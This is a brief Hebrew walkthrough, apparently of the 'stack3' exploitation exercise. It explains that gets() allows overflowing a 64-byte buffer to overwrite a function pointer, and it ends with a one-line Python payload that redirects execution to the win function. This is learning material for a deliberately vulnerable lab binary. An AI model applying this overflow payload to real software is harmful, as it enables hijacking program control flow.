המטרה שלנו: לשנות את הכתובת של המצביע fp על מנת שיצביע על הפונקציה win ויקרא לה.  
  
נשים לב שמשתמשים בפונקציה gets, כלומר אין בדיקה על כמה תווים קולטים למשתנה buffer לכן נוכל לכתוב כמה תווים שנרצה ולדרוס משתנים אחרים.

נשתמש בobjdump על מנת למצוא את הכתובת של הפונקציה win:



נרשום 64 פעמים a על מנת למלא את Buffer ולאחר מכן את הכתובת של הפונקציה win.

EXPLOIT:

python -c "print 'a'\*64 + '\x24\x84\x04\x08'" | ./stack3